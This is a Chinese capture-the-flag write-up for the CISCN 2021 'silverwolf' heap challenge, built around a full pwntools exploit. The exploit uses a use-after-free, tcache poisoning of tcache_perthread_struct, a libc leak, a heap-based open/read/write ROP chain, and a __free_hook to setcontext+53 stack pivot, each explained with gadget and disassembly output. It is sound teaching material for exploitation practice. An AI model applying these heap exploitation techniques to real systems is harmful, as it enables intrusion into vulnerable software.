[CISCN 2021 初赛]silverwolf

单 chunk UAF + tcache poisoning 劫持 tcache_perthread_struct + 反复 free 进 unsorted bin 泄露 libc + 堆上布置 ORW ROP + 劫持 __free_hook = setcontext+53 + free 触发栈迁移读 flag

先小小说一下如何下载 glibc-all-in-one 中没有的 libs 文件夹

ubuntu@niuyingying:~/ctf/pwn$ mkdir -p glibc-add-libs/2.27-3ubuntu1.3_amd64
ubuntu@niuyingying:~/ctf/pwn$ cd glibc-add-libs/2.27-3ubuntu1.3_amd64
ubuntu@niuyingying:~/ctf/pwn/glibc-add-libs/2.27-3ubuntu1.3_amd64$ wget http://launchpadlibrarian.net/497108893/libc6_2.27-3ubuntu1.3_amd64.deb
--2026-06-03 17:48:59--  http://launchpadlibrarian.net/497108893/libc6_2.27-3ubuntu1.3_amd64.deb
Connecting to 127.0.0.1:59999... connected.
Proxy request sent, awaiting response... 200 OK
Length: 2830712 (2.7M) [application/x-debian-package]
Saving to: libc6_2.27-3ubuntu1.3_amd64.deb

libc6_2.27-3ubuntu1.3_am 100%[===============================>]   2.70M   436KB/s    in 6.8s    

2026-06-03 17:49:07 (407 KB/s) - libc6_2.27-3ubuntu1.3_amd64.deb saved [2830712/2830712]

ubuntu@niuyingying:~/ctf/pwn/glibc-add-libs/2.27-3ubuntu1.3_amd64$ dpkg-deb -x libc6_2.27-3ubuntu1.3_amd64.deb extract
ubuntu@niuyingying:~/ctf/pwn$ patchelf --set-interpreter /home/niuyingying/ctf/pwn/glibc-add-libs/2.27-3ubuntu1.3_amd64/extract/lib/x86_64-linux-gnu/ld-2.27.so ./silverwolf
ubuntu@niuyingying:~/ctf/pwn$ patchelf --replace-needed libc.so.6 /home/niuyingying/ctf/pwn/libc-2.27.so ./silverwolf
ubuntu@niuyingying:~/ctf/pwn$ ldd ./silverwolf
        linux-vdso.so.1 (0x00007ffd73fa3000)
        libseccomp.so.2 => /lib/x86_64-linux-gnu/libseccomp.so.2 (0x00007509541d5000)
        /home/niuyingying/ctf/pwn/libc-2.27.so (0x0000750953600000)
        /home/niuyingying/ctf/pwn/glibc-add-libs/2.27-3ubuntu1.3_amd64/extract/lib/x86_64-linux-gnu/ld-2.27.so => /lib64/ld-linux-x86-64.so.2 (0x00007509541fe000)

接下来我们来检查一下程序的保护机制,保护全开还有沙箱, 默认禁止 syscall,只放行 read(0)write(1)open(2)

ubuntu@niuyingying:~/ctf/pwn$ checksec ./silverwolf
[*] '/home/niuyingying/ctf/pwn/silverwolf'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled
__int64 setup_io_seccomp()
{
  __int64 v0; // rbx

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  v0 = seccomp_init(0);
  seccomp_rule_add(v0, 2147418112, 0, 0);
  seccomp_rule_add(v0, 2147418112, 2, 0);
  seccomp_rule_add(v0, 2147418112, 1, 0);
  return seccomp_load(v0);
}

分析程序流程可以知道,程序只有一个可操作的块,索引固定为 0 ,同时存在 UAF 漏洞,可以做 tcache poisoning

unsigned __int64 delete()
{
  __int64 v1; // [rsp+0h] [rbp-18h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-10h]

  v2 = __readfsqword(0x28u);
  __printf_chk(1, "Index: ");
  __isoc99_scanf(&unk_1144, &v1);
  if ( !v1 && buf )
    free(buf);
  return __readfsqword(0x28u) ^ v2;
}

大致的利用思路就是,先把单个 UAF chunk 劫持到 tcache_perthread_struct 上,通过反复 free 把它送进 unsorted 泄露 libc,再在 heap 上布好两段 ORW ROP,最后用 tcache poisoning 覆盖 __free_hook = setcontext+53,触发 free() 时栈迁移到堆上的 ROP 去 open/read/write 读出 flag

先贴出脚本,然后逐句解释

from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

elf = ELF('./silverwolf')
libc = ELF('./libc-2.27.so')

# io = process('./silverwolf')
io = remote("node4.anna.nssctf.cn",20228)

# io = gdb.debug('./silverwolf', gdbscript='set pagination off\nbreakrva 0xDB5\nbreakrva 0xEBE\nbreakrva 0xF3C\nc')

def add(size):
    io.recvuntil(b"Your choice: ")
    io.sendline(b"1")
    io.recvuntil(b"Index: ")
    io.sendline(b"0")
    io.recvuntil(b"Size: ")
    io.sendline(str(size).encode())
    io.recvuntil(b"Done!\n")


def edit_0(data):
    io.recvuntil(b"Your choice: ")
    io.sendline(b"2")
    io.recvuntil(b"Index: ")
    io.sendline(b"0")
    io.recvuntil(b"Content: ")
    io.sendline(data)

def edit_1(data):
    io.recvuntil(b"Your choice: ")
    io.sendline(b"2")
    io.recvuntil(b"Index: ")
    io.sendline(b"0")
    io.recvuntil(b"Content: ")
    io.send(data)

def show():
    io.recvuntil(b"Your choice: ")
    io.sendline(b"3")
    io.recvuntil(b"Index: ")
    io.sendline(b"0")
    io.recvuntil(b"Content: ")


def delete():
    io.recvuntil(b"Your choice: ")
    io.sendline(b"4")
    io.recvuntil(b"Index: ")
    io.sendline(b"0")

add(0x78)
delete()
show()

# 0x00005c27ddd371b0 - 0x5c27ddd36000
leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))

heap_base = leak - 0x11b0
print(hex(heap_base))

# 劫持 chunk 到 tcache_perthread_struct
edit_0(p64(heap_base + 0x10))
add(0x78)
add(0x78)

for i in range(7):
    delete()
    edit_0(p64(0) * 2)

delete()
show()

leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))

libc_base = leak - 0x70 - libc.sym['__malloc_hook']
print(hex(libc_base))

# 清空 chunk 的用户区避免脏链表状态影响
edit_1(b"\x00" * 0x78)

pop_rdi = libc_base + 0x215bf
pop_rsi = libc_base + 0x23eea
pop_rdx = libc_base + 0x1b96
pop_rax = libc_base + 0x43ae8
pop_rsp = libc_base + 0x3960
syscall = libc_base + 0xd2745
ret = libc_base + 0x8aa

read_addr = libc_base + libc.symbols['read']
write_addr = libc_base + libc.symbols['write']
free_hook = libc_base + libc.symbols['__free_hook']
mov_rsp_rdi_a0 = libc_base + libc.symbols['setcontext'] + 53

# 0x00005c27ddd36e00 - 0x5c27ddd36000
add(0x10)
edit_0(b"/flag\x00\x00\x00")
flag_addr = heap_base + 0xe00

# fd = open("./flag", 0)
# payload = p64(pop_rax) + p64(2) + p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(syscall)
# read(fd, buf, 0x100)
# payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(buf) + p64(pop_rdx) + p64(0x100) + p64(read_addr)
# write(1, buf, 0x100)
# payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(buf) + p64(pop_rdx) + p64(0x100) + p64(write_addr)

payload1 = p64(pop_rax) + p64(2) + p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(syscall)
payload1 += p64(pop_rdi) + p64(3) + p64(pop_rsp) + p64(heap_base + 0x1500)
payload2 = p64(pop_rsi) + p64(heap_base + 0x300) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
payload2 += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base + 0x300) + p64(pop_rdx) + p64(0x30) + p64(write_addr)

# 0x00005c27ddd36e20 - 0x5c27ddd36000
add(0x60)
edit_0(payload1)

# 0x00005c27ddd37500 - 0x5c27ddd36000
add(0x60)
edit_1(payload2)

add(0x10)
delete()
edit_0(p64(free_hook + 0xa0))
add(0x10)
add(0x10)
edit_0(p64(heap_base + 0xe20) + p64(ret))

add(0x60)
delete()
edit_0(p64(free_hook))
add(0x60)
add(0x60)
edit_0(p64(mov_rsp_rdi_a0))

delete()

io.interactive()

首先,我们拿到 heap 的基地址,接着先通过 UAF 把 g_chunk 劫持到 tcache_perthread_struct ,再反复 free(tcache_perthread_struct) ,利用 tcache_perthread_struct 大小约是 0x250 ,使反复 free 7 次后进入 unsorted bin ,即可泄露出 libc 基地址

add(0x78)
delete()
show()

# 0x00005c27ddd371b0 - 0x5c27ddd36000
leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))

heap_base = leak - 0x11b0
print(hex(heap_base))

# 劫持 chunk 到 tcache_perthread_struct
edit_0(p64(heap_base + 0x10))
add(0x78)
add(0x78)

for i in range(7):
    delete()
    edit_0(p64(0) * 2)

delete()
show()

leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))

libc_base = leak - 0x70 - libc.sym['__malloc_hook']
print(hex(libc_base))

再详细讲解一下

  • glibc 2.27 的同尺寸 tcache bin 最多缓存 7 个 chunk
  • 前 7 次 free() 会把这个 chunk 塞进 tcache
  • 但这是同一个 chunk 反复 free,正常会触发 double free 检查
  • 所以每次 free() 之后立刻 edit(p64(0)*2),把 chunk 里用于检测的字段清掉,绕过检查
  • 第 8 次 free() 时,tcache 该 bin 已满,这个 chunk 就会进入 unsorted bin
ubuntu@niuyingying:~/ctf/pwn$ ROPgadget --binary ./libc-2.27.so --only "pop|ret" | grep "pop rdi"
0x00000000000215bf : pop rdi ; ret

ubuntu@niuyingying:~/ctf/pwn$ ROPgadget --binary ./libc-2.27.so --only "pop|ret" | grep "pop rsi"
0x0000000000023eea : pop rsi ; ret

ubuntu@niuyingying:~/ctf/pwn$ ROPgadget --binary ./libc-2.27.so --only "pop|ret" | grep "pop rdx"
0x0000000000001b96 : pop rdx ; ret

ubuntu@niuyingying:~/ctf/pwn$ ROPgadget --binary ./libc-2.27.so --only "pop|ret" | grep "pop rax"
0x0000000000043ae8 : pop rax ; ret

ubuntu@niuyingying:~/ctf/pwn$ ROPgadget --binary ./libc-2.27.so --multibr | grep "syscall ; ret"
0x00000000000d2745 : syscall ; ret

ubuntu@niuyingying:~/ctf/pwn$ ROPgadget --binary ./libc-2.27.so --only "pop|ret" | grep "pop rsp"
0x0000000000003960 : pop rsp ; ret

ubuntu@niuyingying:~/ctf/pwn$ ROPgadget --binary libc-2.27.so --only "ret" | head
Gadgets information
============================================================
0x00000000000008aa : ret

由于堆块大小存在限制,因此我们需要利用栈迁移技术将 ROP 链写在两块堆内存中,注意需要将 read 部分的 payload rdx 构造写在 payload1 中,因为大小不够,至于为什么选择 add(0x60) ,这是因为前面那段 tcache_perthread_struct 利用把 0x60+ 大小的堆申请玩坏了

# 0x00005c27ddd36e00 - 0x5c27ddd36000
add(0x10)
edit_0(b"/flag\x00\x00\x00")
flag_addr = heap_base + 0xe00

# fd = open("./flag", 0)
# payload = p64(pop_rax) + p64(2) + p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(syscall)
# read(fd, buf, 0x100)
# payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(buf) + p64(pop_rdx) + p64(0x100) + p64(read_addr)
# write(1, buf, 0x100)
# payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(buf) + p64(pop_rdx) + p64(0x100) + p64(write_addr)

payload1 = p64(pop_rax) + p64(2) + p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(syscall)
payload1 += p64(pop_rdi) + p64(3) + p64(pop_rsp) + p64(heap_base + 0x1500)
payload2 = p64(pop_rsi) + p64(heap_base + 0x300) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
payload2 += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base + 0x300) + p64(pop_rdx) + p64(0x30) + p64(write_addr)

# 0x00005c27ddd36e20 - 0x5c27ddd36000
add(0x60)
edit_0(payload1)

# 0x00005c27ddd37500 - 0x5c27ddd36000
add(0x60)
edit_1(payload2)

接下来我们劫持 __free_hook ,在 IDA 找到 setcontext 偏移,来个小脚本

from pwn import *
libc = ELF('./libc-2.27.so')
print(hex(libc.sym['setcontext']))
ubuntu@niuyingying:~/ctf/pwn$ python3 exp.py
[*] '/home/niuyingying/ctf/pwn/libc-2.27.so'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
0x52180
.text:0000000000052180                 public setcontext ; weak
.text:0000000000052180 setcontext      proc near               ; CODE XREF: sub_587B0+C↓p
.text:0000000000052180                                         ; DATA XREF: LOAD:0000000000009018↑o
.text:0000000000052180 ; __unwind {
.text:0000000000052180                 push    rdi
.text:0000000000052181                 lea     rsi, [rdi+128h] ; nset
.text:0000000000052188                 xor     edx, edx        ; oset
.text:000000000005218A                 mov     edi, 2          ; how
.text:000000000005218F                 mov     r10d, 8         ; sigsetsize
.text:0000000000052195                 mov     eax, 0Eh
.text:000000000005219A                 syscall                 ; LINUX - sys_rt_sigprocmask
.text:000000000005219C                 pop     rdi
.text:000000000005219D                 cmp     rax, 0FFFFFFFFFFFFF001h
.text:00000000000521A3                 jnb     short loc_52200
.text:00000000000521A5                 mov     rcx, [rdi+0E0h]
.text:00000000000521AC                 fldenv  byte ptr [rcx]
.text:00000000000521AE                 ldmxcsr dword ptr [rdi+1C0h]
.text:00000000000521B5                 mov     rsp, [rdi+0A0h]
.text:00000000000521BC                 mov     rbx, [rdi+80h]
.text:00000000000521C3                 mov     rbp, [rdi+78h]
.text:00000000000521C7                 mov     r12, [rdi+48h]
.text:00000000000521CB                 mov     r13, [rdi+50h]
.text:00000000000521CF                 mov     r14, [rdi+58h]
.text:00000000000521D3                 mov     r15, [rdi+60h]
.text:00000000000521D7                 mov     rcx, [rdi+0A8h]
.text:00000000000521DE                 push    rcx
.text:00000000000521DF                 mov     rsi, [rdi+70h]
.text:00000000000521E3                 mov     rdx, [rdi+88h]
.text:00000000000521EA                 mov     rcx, [rdi+98h]
.text:00000000000521F1                 mov     r8, [rdi+28h]
.text:00000000000521F5                 mov     r9, [rdi+30h]
.text:00000000000521F9                 mov     rdi, [rdi+68h]
.text:00000000000521F9 ; } // starts at 52180
.text:00000000000521FD ; __unwind {
.text:00000000000521FD                 xor     eax, eax
.text:00000000000521FF                 retn

找到关键指令

.text:00000000000521B5                 mov     rsp, [rdi+0A0h]
.text:00000000000521D7                 mov     rcx, [rdi+0A8h]
.text:00000000000521DE                 push    rcx

再次利用 tcache poisoning 成功 get shell

add(0x10)
delete()
edit_0(p64(free_hook + 0xa0))
add(0x10)
add(0x10)
edit_0(p64(heap_base + 0xe20) + p64(ret))

add(0x60)
delete()
edit_0(p64(free_hook))
add(0x60)
add(0x60)
edit_0(p64(mov_rsp_rdi_a0))

delete()

我们之前已经把 payload 分成两段放进堆里了,接下来我们往 free_hook + 0xa0 写 16 字节,即

[__free_hook + 0xa0] = heap_base + 0xe20
[__free_hook + 0xa8] = ret

然后将 __free_hook = setcontext + 53 ,最后 delete()

此时 free 变成了 free(g_chunk)free(__free_hook) ,于是 glibc 就会调用 (setcontext+53)(__free_hook) ,也就是:

rdi = __free_hook
rip = setcontext+53

那么执行到 push rcx 后栈就会变成

rsp = heap + 0xe18

然后执行 ret:

  1. 第一次 ret:跳到 ret gadget,rsp 变成 heap+0xe20
  2. 这个 ret gadget再 ret 一次:跳到 [heap+0xe20],也就是 payload1 开头

最后再小小说一下为什么这道堆题的栈迁移不需要栈题那样额外垫 8 个字节,核心原因是栈的是 leave_ret 型栈迁移,由于会先 pop rbp 因此常需要,而堆这类栈迁移没有 leave